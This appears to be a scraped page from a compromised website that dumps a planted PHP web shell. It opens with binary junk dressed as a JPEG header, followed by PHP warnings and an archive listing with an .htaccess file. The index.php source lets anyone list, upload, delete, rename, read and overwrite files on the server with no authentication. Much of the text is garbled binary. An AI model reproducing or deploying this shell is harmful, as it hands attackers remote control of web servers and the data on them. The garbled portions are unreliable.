??????????????????????????????? >>>>>>>>>>>>>/>>>>>>>>>>>>>>>>>< >>>>>>>>>>>>>/>>>>>>>>>>>>>>>>>< ????????????????? ?????????????????//////// >>>>>>>>>>>>>/>>>>>>>>>>>>>>>>>< .........................../... >>>>>>>>>>>>>/>>>>>>>>>>>>>>>>>< ???????????????????????????????!!!!!! >>>>>>>>>>>>>/>>>>>>>>>>>>>>>>>< ///---/-.+/--+------/------/--0+--/-/-----.-----ÿÀ 1!%)+// ÿØÿà JFIF    ÿÛ „  ( %!1!%)+//.383,7(-.+ +//.383,7(-.+  -%%-////---/-.+/--+------/------/--0+--/-/-----.-----ÿÀ  ¥2" ÿÄ     ÿÄ J    ! 1AQ"aq2‘#BR‚¡ÁÑ3br’¢±Âð$CSƒ²á4c“%DsÓñÿÄ   ÿÄ *  !1AQa‘"2q3±ð#b¡ÿÚ   ? ¼QxJQaÍuò¸Zö Úü8,ÐÚú383,7(-.+ "SSn<rçù–´âE—^ªBÖ9À\†¸ÔÁT­ÃÛ5 ëd´³Í#Ý;Þ38œî ¶H£M:wÎ3…³…âpÔF&‚FK¸9„â4àGEõªfÿ ‘ñ(ßw­pŽF|È¥ù®häðÍѶ¹‘[ÒinÙW¶ùñY˜Q{›K"išÒ[Ú8žë\F¹@-?v"ÔU”,ìöžkÿ {I‡£šÍ?e ríV +//.383,7(-.+ ?> ???????????????????????????????!!!!!! <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< >>>>>>>>>>>>>/>>>>>>>>>>>>>>>>>> <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Warning: Undefined variable $auth in /home/onlin108/spatialcollect.com.au/file5.php on line 588

Warning: Trying to access array offset on value of type null in /home/onlin108/spatialcollect.com.au/file5.php on line 588

Warning: Cannot modify header information - headers already sent by (output started at /home/onlin108/spatialcollect.com.au/file5.php:1) in /home/onlin108/spatialcollect.com.au/file5.php on line 225

Warning: Cannot modify header information - headers already sent by (output started at /home/onlin108/spatialcollect.com.au/file5.php:1) in /home/onlin108/spatialcollect.com.au/file5.php on line 226

Warning: Cannot modify header information - headers already sent by (output started at /home/onlin108/spatialcollect.com.au/file5.php:1) in /home/onlin108/spatialcollect.com.au/file5.php on line 227

Warning: Cannot modify header information - headers already sent by (output started at /home/onlin108/spatialcollect.com.au/file5.php:1) in /home/onlin108/spatialcollect.com.au/file5.php on line 228

Warning: Cannot modify header information - headers already sent by (output started at /home/onlin108/spatialcollect.com.au/file5.php:1) in /home/onlin108/spatialcollect.com.au/file5.php on line 229

Warning: Cannot modify header information - headers already sent by (output started at /home/onlin108/spatialcollect.com.au/file5.php:1) in /home/onlin108/spatialcollect.com.au/file5.php on line 230
index.php000064400000000000152075177350006366 0ustar00499664/.htaccess000064400000000334152075177350007143 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all 499664/index.php000064400000022130152075177350007163 0ustar00 "error", "message" => "Invalid directory" ]); exit; } $response = ["status" => "success", "message" => ""]; switch ($_POST['action']) { case 'list': $files = scandir($currentDir); $folders = []; $normalFiles = []; foreach ($files as $file) { if ($file == '.' || $file == '..') continue; $path = $currentDir . DIRECTORY_SEPARATOR . $file; $item = [ "name" => $file, "is_dir" => is_dir($path), "size" => is_file($path) ? filesize($path) : "-", "modified" => date("Y-m-d H:i:s", filemtime($path)) ]; if (is_dir($path)) $folders[] = $item; else $normalFiles[] = $item; } $response["files"] = array_merge($folders, $normalFiles); $response["dir"] = $currentDir; break; case 'upload': if (isset($_FILES['file'])) { $target = $currentDir . DIRECTORY_SEPARATOR . $_FILES['file']['name']; if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) { $response["message"] = "Upload success"; } else { $response["status"] = "error"; $response["message"] = "Upload failed"; } } break; case 'delete': $target = $currentDir . DIRECTORY_SEPARATOR . $_POST['name']; $result = is_dir($target) ? rmdir($target) : unlink($target); $response["message"] = $result ? "Delete success" : "Delete failed"; if (!$result) $response["status"] = "error"; break; case 'rename': $old = $currentDir . DIRECTORY_SEPARATOR . $_POST['old']; $new = $currentDir . DIRECTORY_SEPARATOR . $_POST['new']; $result = rename($old, $new); $response["message"] = $result ? "Rename success" : "Rename failed"; if (!$result) $response["status"] = "error"; break; case 'getFile': $file = $currentDir . DIRECTORY_SEPARATOR . $_POST['name']; if (is_file($file)) { $response["content"] = file_get_contents($file); } else { $response["status"] = "error"; $response["message"] = "File not found"; } break; case 'saveFile': $file = $currentDir . DIRECTORY_SEPARATOR . $_POST['name']; $result = file_put_contents($file, $_POST['content']); $response["message"] = $result !== false ? "File saved" : "Save failed"; if ($result === false) $response["status"] = "error"; break; } echo json_encode($response); exit; } ?> Connections(43)

🕷️


Upload

Directory Contents

Name Size Modified Actions